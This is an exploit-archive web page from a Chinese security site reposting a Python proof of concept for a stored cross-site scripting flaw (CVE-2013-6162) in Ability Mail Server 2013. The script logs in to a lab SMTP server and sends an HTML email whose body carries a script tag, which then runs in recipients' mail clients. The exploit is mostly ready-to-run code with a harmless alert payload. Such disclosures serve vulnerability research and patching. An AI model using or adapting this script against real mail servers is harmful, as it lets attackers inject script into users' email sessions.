首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置：主页>安全文章>文章资料>Exploits>文章内容
Ability Mail Server 2013 (3.1.1) - Stored XSS
来源：vfocus.net 作者：David 发布时间：2013-12-18  
#!/usr/bin/env python
  
'''
Exploit Title: Ability Mail Server 2013 Stored XSS
Date: 12/20/2013
Exploit Author: David Um
Vendor Homepage: http://www.code-crafters.com/
Software Link: http://download.code-crafters.com/ams.exe
Version: 3.1.1
Tested on: Windows Server 2003 SP2
CVE : CVE-2013-6162
Description: This proof of concept demonstrates a stored XSS vulnerability in e-mail clients when JavaScript is inserted into the body of an e-mail.
'''
  
import smtplib
  
email_addr = 'user@hack.local'
  
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += '<script>alert("XSS")</script>'
s = smtplib.SMTP('192.168.58.140', 25)
  
s.login(email_addr, "user")
s.sendmail(email_addr, email_addr, email)
s.quit()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。
 §最新评论：
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Adobe Reader ToolButton Use Af
·Nvidia (nvsvc) Display Driver
·VUPlayer 2.49 - (.M3U) Univers
·Microsoft Windows ndproxy.sys
·PotPlayer 1.5.42509 Beta - DOS
·QuickHeal AntiVirus 7.0.0.1 -
·iScripts AutoHoster PHP Code I
·MS13-101 Windows Kernel win32k
·Ability Web Server(ftp) - Remo
·Traidnt Upload 3 Add Administr
·Castripper 2.50.70 - (.pls) DE
·RealPlayer Heap-based Buffer O
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved